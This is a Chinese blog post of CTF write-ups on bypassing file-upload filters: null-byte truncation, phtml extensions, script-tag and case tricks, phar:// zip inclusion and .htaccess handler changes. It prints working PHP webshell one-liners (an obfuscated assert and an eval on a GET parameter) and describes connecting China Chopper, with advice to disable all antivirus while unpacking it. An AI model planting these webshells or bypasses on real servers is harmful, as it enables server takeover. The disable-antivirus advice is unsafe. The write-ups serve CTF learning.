截断上传 CTF
题目:上传绕过
介绍:http://teamxlc.sinaapp.com/web5/21232f297a57a5a743894a0e4a801fc3/index.html
1,我们打开链接,是个上传题,我们先随便上传点东西,提示 不被允许的文件类型,仅支持上传jpg,gif,png后缀的文件 ,然后我们上传一张图片后缀是.png,结果显示 必须上传成后缀名为php的文件才行啊! ,现在我们上传php文件,结果显示 不被允许的文件类型,仅支持上传jpg,gif,png后缀的文件。
2,这里我们应该怎么办呢,接下来我们截断上传,我们打开burp suite ,上传一个png文件,使之上传成功,我们会抓到上传的路径,我们在抓到的路径uploads/ 后面加个空格,然后在Hex出把20改成00(当程序输出包含chr(0)变量时,chr(0)后面的数据会被截断,后面的数据直接忽略,导致漏洞产生。在/Upload/后面加一个空格,点开hex,将其对应的20改成00,就可以绕过后缀名的过滤),如下图所示
3,完成上面的之后点击Forword,我们看浏览器页面,可以看见flag。(想要了解更多参考http://www.cnblogs.com/hack0ne/p/4603144.html)
题目:上传1
介绍:这是极客里面的上传题,不过现在已经平台关闭了,没办法给你们截图了。
1、
题目设有两句引导语:
echo ‘This type of file is forbidden’; echo ‘You are closer to the answer’;
这两句可以推测出,这里是想让你用PHP文件的多种后缀名(php3,php4,phtml 等)来绕过
上传phtml后缀的文件后,就拿到了第一个flag。
题目:上传2
介绍:这是上传1的延伸.这个题可以有两种办法来解。我都列出来。
一、这是三叶草官方发布的:
根据你上传文件输出的内容,可以看出是过滤了哪个字符
$array=array(‘<?’,’?>’,’php’);
这里由于我的失误,在随后的过滤中只过滤了一次,也就是说你可以双写上述字符进行绕过,但是有些同学给的payload仅双写了某个字符(比如仅仅双写了”<?”),这样是不可以的
在修正了我的错误后,过滤规则没变,只不过会过滤到直到没有上面的三个元素,遂上面的方式失效了
但是,可以使用PHP语言的短标签(php.ini中的short_open_tag=on)来绕过:
<script language='php'>phpinfo();</script>
加上php被过滤,因此转换下大小写即可:
例如:
<script language='pHp'>phpinfo();</script> 二、另一种办法是连菜刀 1、我们上传的时候还是上传 xxx.phtml,不过里面的内容要写成下面的东西,下面写的,过滤了好多东西。
,这个就是在小框里输入8 然后改下下面的脚本类型,添加就OK了,然后再看里面的东西,会有flag.
<script language="pHp">$k="ass"."ert"; $k(${"_PO"."ST"} ['8']);</script>
上传成功之后就连菜刀就行了(没有的可以私聊我qq:483058235,也可以留言我每天都会看一下博客,或者自己百度下载,我的也是百度下载的,
记得解压的时候要把电脑里面的所有的杀毒软件(360,电脑管家等等)都关掉),这里我演示一下连菜刀的图片给你们,以后连菜刀的我就不演示了。,
首先打开菜刀,然后输入地址,也就是你上传成功的路径,然后在后面那个小框里面输入你POST的东西,
比如上面的${"_PO"."ST"} ['8'])
ps:自己可以搜一下一句话,这里有好多类型的php,asp等等......
题目:上传
介绍:这是刚刚结束的HCTF的上传题目,地址:http://pics.hctf.io/home.php?key=hduisa123,你们没有账号估计进不去,没事我给截图。
1,这是 zip协议包含文件 不懂的可以百度一下,首先我们可以看到页面,
2,我们先测试一下,很简单的,我们先创建一个php文件,里面输入<?php echo phpinfo(); ?>就行了,接下来我们把php文件压缩成zip文件,
之前测试可以知道只支持上传png文件,所以我们把zip文件改成png,(1.php→压缩→1.zip→重命名→1.png→上传)
这样就会上传成功了,记住文件上传成功的路径,接下来我们在原来的页面测试一下是不是上传成功,
输入?fp=phar://uploads/d6c97df8f7e9453739248070e0ef29edbbab7d5d.png/1111
这里的phar是读zip文件的,这里的1111是你上传的png的文件名,每个人上传的路径都是不一样的,不要直接拿我的试。
因为你刚开始压缩的是1111.php文件,这里的1111的后面不用加.php了,因为fp把本地文件包含进来的时候已经加了.php了。
下面我们看截图
3,可以看到我们测试成功,接下来你们就可以重新上传一句话,然后和上面上传一样,上传成功之后连菜刀,flag就出来了。
题目:.htaccess 文件上传 漏洞
有的上传是只允许jpg,png......不允许php,asp,aspx,jsp等上传,但是这里讲到的htaccess文件上传是利用一个上传的一个疏忽。
.htaccess 是apache服务器中的一个配置文件,不是上传的文件的黑名单之内,因此可以上传成功。
.htaccess文件中定义了将上传的文件后缀名为 .jpg 格式的文件以 php 格式来解析文件。
上传.htaccess文件的内容为:
<IfModule>
AddType application/x-http-php .jpg
</IfModule>
(上传的jpg 均以php执行,同样png,html,txt都是一样的)
把.htaccess 上传后,且上传成功后,再上传内容为一句话的jpg文件
jpg文件内容:<?php @eval($_GET["orange"]); ?>
查看上传成功的路径,可以执行php语句。进而getshell。
任重而道远!
截断上传 CTF的更多相关文章
- burpsuite截断上传webshell
1.先设置好代理127.0.0.1 8080 2.开启截断模式 3.上传文件会被burp截断 4.在hex下找到你上传的webshell的16进制编码 5.把.后面的源码改为00 点击forward上 ...
- (转载)利用burp suite截断上传拿shell
burpsuite上传必须要有filepath这个参数 第一步:选择一个jpg后缀的马. 第二步:设置本地代理,burp的本地端口是8080 第三步:打开burp suite 按图操作就ok了. 第四 ...
- CTF 文件上传
目录 一.客户端校验 1.禁用JS 2.抓包改包 二.服务端校验 1.MIME类型检测 2.后缀名黑名单校验 3.后缀名白名单校验 4.内容头校验 5.竞争上传 6.过滤<?或php 两种校验方 ...
- 文件上传限制条件(JS、后缀、文件名、类型、截断)绕过及修复建议
在现代互联网的Web应用程序中,上传文件是一 种常见的功能,因为它有助于提高业务效率,比如企业的OA系统,允许用户上传图片.视频.头像和许多其他类型的文件.然而向用户提供的功能越多,Web应用受到攻击 ...
- 上传漏洞总结-upload-labs
介绍: Upload-labs是一个所有类型的上传漏洞的靶场 项目地址:https://github.com/c0ny1/upload-labs 思维导图: 小试牛刀: Pass-01 客户端js检查 ...
- ASP代码审计学习笔记 -3.上传漏洞
1.ASP上传过程抓包分析: POST /4.asp HTTP/1.1 Host: 192.168.1.102 User-Agent: Mozilla/5.0 (Windows NT 10.0; WO ...
- PHP任意文件上传漏洞CVE-2015-2348浅析
昨晚安全新闻爆出一个“PHP任意文件上传漏洞”,CVE编号为:CVE-2015-2348. 当时楼主正准备收拾东西回家,看到这个新闻心里一惊:失传江湖多年的0字符截断上传漏洞又重现了?而且还影响这么多 ...
- php代码审计8审计文件上传漏洞
文件上传漏洞是指用户上传了一个可执行的脚步文件,并通过此脚本文件获得了执行服务器端命令的能力,这种攻击方式是最直接和有效的,文件上传本身是没问题的,有问题的是文件上传后,服务器怎么处理,解释文件,通过 ...
- 3. 文件上传靶机实战(附靶机跟writeup)
upload-labs 一个帮你总结所有类型的上传漏洞的靶场 文件上传靶机下载地址:https://github.com/c0ny1/upload-labs 运行环境 操作系统:推荐windows ...
随机推荐
- ABAP 内表数据 与 Json串 相互转换
内表: A B C IMINGZHA HAIMINGZ AIMINGZH 1 2 3 4 5 6 Json串: [{a: "IMINGZHA", b: "HAIMIN ...
- Android 性能优化概念(1)
http://www.open-open.com/lib/view/open1421723359718.html#_label0 阅读目录 0)Render Performance 1)Underst ...
- Java集合框架,未完
一.集合类 集合的由来: 面向对象语言对事物的体现都是以对象的形式,为了方便对多个对象的操作,就需要将对象进行存储,集合就是存储对象最常用的一种方式. 集合特点:1,用于存储对象的容器.(容器本身就是 ...
- aspnet中通过多条件筛选来显示数据的实现
UI图: 功能实现: 1.勾选住哪个选项之后,就加入了筛选.支持姓名的模糊查询. 2.对筛选出来的数据可以直接修改,并更新回数据库. 说明:显示的数据来自T_User表.数据显示控件使用的是 List ...
- 输入3行字符串/定义flag/while/字符串后要加空格符
int i = 0,j = 0; for(; i < 3; i++) { gets(a[i]); }//输入3行字符串 bool flag = true; while语句的语义是:计算表达式的值 ...
- win10 删除设备和驱动器中你不要的图标
设备和驱动器可能有很多你不想要的东西,360云盘,百度网盘,微云-- 删除设备和驱动器中的百度云图标,360网盘图标,要去注册表 运行 regedit 点开 HKEY_CURRENT_USER\SOF ...
- C#控件基础
在说控件之前,还是有必要说一下如何创建项目的. 现在我们就不用创建控制台应用程序了,而是文件>新建>C#>Windows窗体应用程序.名称,位置自己选择. 创建好了大致就是这样了,可 ...
- 【网络爬虫入门05】分布式文件存储数据库MongoDB的基本操作与爬虫应用
[网络爬虫入门05]分布式文件存储数据库MongoDB的基本操作与爬虫应用 广东职业技术学院 欧浩源 1.引言 网络爬虫往往需要将大量的数据存储到数据库中,常用的有MySQL.MongoDB和Red ...
- 读书笔记之《深入理解Java虚拟机》不完全学习总结
写在前面: 之所以称作不完全总结,因为我其实没有完完全全地看完此书,但是涵盖了大部分重要章节:同时以下总结是我自己认为很重要知识,细枝末节处难免遗漏,还请详细参考原著. 转载请注明原文出处:http: ...
- 正则和grep——再做正则就去死
grep 文本过滤工具 基本正则表达式 grep 语法 基本正则表达式的元字符 次数匹配 位置锚定 分组 扩展正则表达式 基本正则表达式的元字符 次数匹配 位置锚定 分组 或者 grep的介绍 lin ...